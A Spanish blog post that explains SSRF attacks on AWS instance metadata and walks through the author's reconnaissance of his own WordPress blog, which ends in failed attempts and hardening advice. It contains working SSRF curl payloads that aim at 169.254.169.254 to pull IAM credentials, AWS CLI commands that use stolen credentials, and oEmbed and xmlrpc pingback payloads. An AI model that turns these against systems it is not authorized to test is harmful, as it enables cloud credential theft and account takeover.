Si llevas tiempo trabajando con infraestructura en AWS, probablemente has oído hablar de SSRF. Si no, este post te lo explica con un ejercicio real de reconocimiento contra mi propio blog, paso a paso, usando solo herramientas disponibles en macOS.
Qué es un ataque SSRF
Server-Side Request Forgery (SSRF) es una vulnerabilidad en la que una aplicación web realiza peticiones HTTP hacia URLs que controla el atacante, sin validarlas correctamente. El atacante no ataca el servidor directamente — le dice al servidor que haga una petición por él.

En entornos AWS cloud, esto tiene una consecuencia concreta y grave: si la aplicación vulnerable corre en una instancia EC2, el atacante puede forzarla a consultar el Instance Metadata Service (IMDS), un endpoint HTTP interno accesible únicamente desde dentro de la instancia:
http://169.254.169.254/latest/meta-data/iam/security-credentials/Ese endpoint devuelve las credenciales temporales del IAM role asociado a la instancia. Con esas credenciales, el atacante puede operar en tu cuenta AWS como si fuera la propia instancia.
El flujo de ataque teórico
El laboratorio CloudGoat de Rhino Security Labs tiene un escenario diseñado específicamente para ilustrar este ataque. La cadena completa:
- Reconocimiento — identificar una aplicación web en EC2 con un parámetro
?url=que hace peticiones HTTP server-side - Explotar SSRF — apuntar ese parámetro al endpoint de metadatos:
https://victima.com/app?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ - Extraer credenciales — el servidor devuelve
AccessKeyId,SecretAccessKeyyTokendel role IAM de la instancia - Movimiento lateral — usar esas credenciales para enumerar Lambda, S3, EC2
- Escalada de privilegios — encontrar credenciales de admin en un bucket S3 o en variables de entorno de una Lambda
- Compromiso total — operar con acceso administrativo a la cuenta
# Paso 3: extraer credenciales via SSRF
curl "https://victima.com/app?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/rol-nombre"
# Paso 4: usar las credenciales robadas
aws configure --profile robado
aws sts get-caller-identity --profile robado
aws s3 ls --profile robado
aws lambda list-functions --profile robadoIMDSv1 vs IMDSv2: la diferencia que lo cambia todo
El ataque anterior solo funciona con IMDSv1, la versión original del metadata service. En IMDSv1, cualquier petición HTTP desde dentro de la instancia — incluyendo las hechas por una aplicación vulnerable a SSRF — puede consultar el endpoint directamente.
IMDSv2 añade un mecanismo de token obligatorio. Para consultar el metadata service hay que hacer primero un PUT para obtener el token:
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/Un SSRF simple no puede ejecutar ese PUT previo — necesita dos peticiones correlacionadas, lo que la mayoría de vulnerabilidades SSRF no pueden hacer. IMDSv2 con http-tokens = required neutraliza el ataque en la mayoría de escenarios.
Verificar el estado en tus instancias:
aws ec2 describe-instances \
--query 'Reservations[].Instances[].[InstanceId,MetadataOptions.HttpTokens]' \
--output tableSi el resultado es required, estás protegido. Si es optional, IMDSv1 sigue activo.
El ejercicio real: reconocimiento contra rubenortiz.es
Vamos a lo práctico. Mi blog corre en AWS así que decidí hacer el ejercicio de reconocimiento completo desde el punto de vista de un atacante externo, sin credenciales, usando solo las herramientas disponibles en macOS.
Paso 1 — Resolución DNS
dig rubenortiz.es
dig www.rubenortiz.es
dig +short any rubenortiz.es
Resultados:
rubenortiz.es→ 4 IPs del rango3.160.188.x(CloudFront, TTL 30s)www.rubenortiz.es→ 4 IPs del rango3.174.255.x(CloudFront, TTL 30s)- Nameservers: Route 53 (
awsdns-*) - MX:
mx01.dondominio.com— email gestionado por DonDominio, fuera del scope AWS - SPF:
include:spf.dondominio.com
Conclusión: el origen EC2 está oculto detrás de CloudFront. Solo vemos IPs de edge nodes de AWS, no la IP real del servidor.
Paso 2 — Enumeración de subdominios
brew install subfinder
subfinder -d rubenortiz.es
Subdominios encontrados:
mail.rubenortiz.es → DonDominio (fuera de scope)
webmail.rubenortiz.es → DonDominio (fuera de scope)
statics.rubenortiz.es → CloudFront (mismas IPs que www)
www.rubenortiz.es → CloudFront
statics.rubenortiz.es es interesante: devuelve un 502 en la raíz pero sirve contenido bajo /wp-content/uploads/*. Es una distribución CloudFront con origen S3 para los assets de WordPress. El 502 en la raíz no es riesgo de seguridad — confirma que el acceso directo al bucket está bloqueado y solo se puede acceder via paths específicos.
Paso 3 — Fingerprinting del servidor
curl -I https://www.rubenortiz.es
curl -s https://www.rubenortiz.es | grep -i "generator\|wp-content\|wp-includes"
curl -s https://www.rubenortiz.es/readme.html
curl -o /dev/null -w "%{http_code}" https://www.rubenortiz.es/wp-login.php
Hallazgos:
| Elemento | Resultado | Valoración |
|---|---|---|
server: nginx | nginx expuesto en headers | Informativo |
<meta name="generator" content="WordPress 6.8"> | Versión WP expuesta | Pendiente de corregir |
Flatsome 3.20.5 en paths de assets | Versión tema expuesta | Menor |
Autoptimize 3.1.13 en paths de assets | Versión plugin expuesta | Menor |
readme.html | 403 | Bien protegido |
wp-login.php | 404 | Bien protegido (nginx) |
| PHP version | No expuesta | Correcto |
El header link: <https://www.rubenortiz.es/wp-json/>; rel="https://api.w.org/" presente en todas las respuestas confirma WordPress sin necesidad de cargar el HTML. Es un comportamiento nativo de WordPress difícil de eliminar completamente.
El hallazgo más accionable: el meta generator tag expone la versión exacta de WordPress. Un atacante puede cruzarla con bases de datos de CVEs para identificar vulnerabilidades específicas. Se corrige con una línea en functions.php:
remove_action('wp_head', 'wp_generator');
Paso 4 — Búsqueda del origen real
Tres métodos para intentar encontrar la IP detrás de CloudFront:
Certificate Transparency logs (crt.sh):
curl -s "https://crt.sh/?q=rubenortiz.es&output=json" | python3 -m json.tool | grep name_value
El historial de certificados revela la evolución de la infraestructura:
- 2016–2018: Cloudflare (
sni188968.cloudflaressl.com) - 2018+: AWS CloudFront (certificados Amazon RSA)
No aparece ningún *.elasticbeanstalk.com — el origen nunca se expuso vía certificado SSL.
Headers de respuesta CloudFront:
curl -si https://www.rubenortiz.es | grep -i "x-forwarded\|origin\|beanstalk\|x-backend\|x-real"Sin fuga de headers de origen. CloudFront filtra correctamente.
Conclusión: la IP del origen es inaccesible desde fuera. Sin ella, un escaneo de puertos no tiene sentido.
Paso 5 — Vectores SSRF en WordPress
Con el origen oculto, la única vía para llegar al IMDS desde fuera sería explotar un vector SSRF en la propia aplicación WordPress. Los tres vectores conocidos:
# oEmbed proxy apuntando al IMDS
curl -s "https://www.rubenortiz.es/wp-json/oembed/1.0/proxy?url=http://169.254.169.254/latest/meta-data/"
# REST API fetch endpoint
curl -s "https://www.rubenortiz.es/wp-json/wp/v2/oembed-proxy?url=http://169.254.169.254/"
# Pingback SSRF via xmlrpc
curl -s -X POST https://www.rubenortiz.es/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://169.254.169.254/latest/meta-data/</string></value></param><param><value><string>https://www.rubenortiz.es/</string></value></param></params></methodCall>'Resultados:
| Vector | Respuesta | Bloqueado por |
|---|---|---|
| oEmbed proxy | Restricted (plugin) | REST API Auth |
| wp/v2/oembed-proxy | 404 | No existe |
| xmlrpc pingback | 403 | nginx |
Ningún vector de SSRF es explotable desde fuera sin credenciales.
Resumen de hallazgos
| Severidad | Hallazgo | Estado |
|---|---|---|
| Media | WordPress 6.8 expuesto via meta generator | Pendiente — fix en functions.php |
| Baja | Versión Flatsome y Autoptimize en paths de assets | Asumido |
| Info | CMS WordPress identificable via link header | Estructural |
| Info | Historia de infraestructura visible en CT logs | Informativo |
Por qué no funcionó el ataque
La infraestructura tiene tres capas de defensa que bloquean el vector SSRF de forma independiente:
- nginx bloquea
xmlrpc.phpywp-login.phpdirectamente, antes de que lleguen a PHP - Plugin de autenticación REST API bloquea todos los endpoints de la REST API a usuarios no autenticados, incluido el oEmbed proxy
- CloudFront oculta completamente el origen — sin IP del servidor, no hay superficie de ataque directa
Adicionalmente, si IMDSv2 está forzado en la instancia Beanstalk (http-tokens = required), incluso si un atacante encontrara un vector SSRF, no podría completar el ataque porque necesitaría el PUT previo para obtener el token.
Conclusión
SSRF en AWS es una vulnerabilidad de alto impacto cuando se dan las condiciones: aplicación con parámetro URL no validado + instancia EC2 con IMDSv1 + role IAM con permisos amplios. La combinación de esos tres factores convierte una vulnerabilidad de aplicación en un compromiso de cuenta cloud.
La defensa no depende de un único control sino de capas: IMDSv2 obligatorio, validación de URLs en la aplicación, principio de mínimo privilegio en roles IAM, y protección perimetral del servidor (nginx, WAF). Ninguna capa por sí sola es suficiente — la combinación de todas hace el ataque inviable.
Links
- https://www.rubenortiz.es/implementar-wordpress-en-aws/
- https://github.com/RhinoSecurityLabs/cloudgoat
- https://www.hackingarticles.in/aws-cloudgoat-ec2-ssrf-exploitation/
¿Te ha ayudado este artículo?
☕ Invítame a un café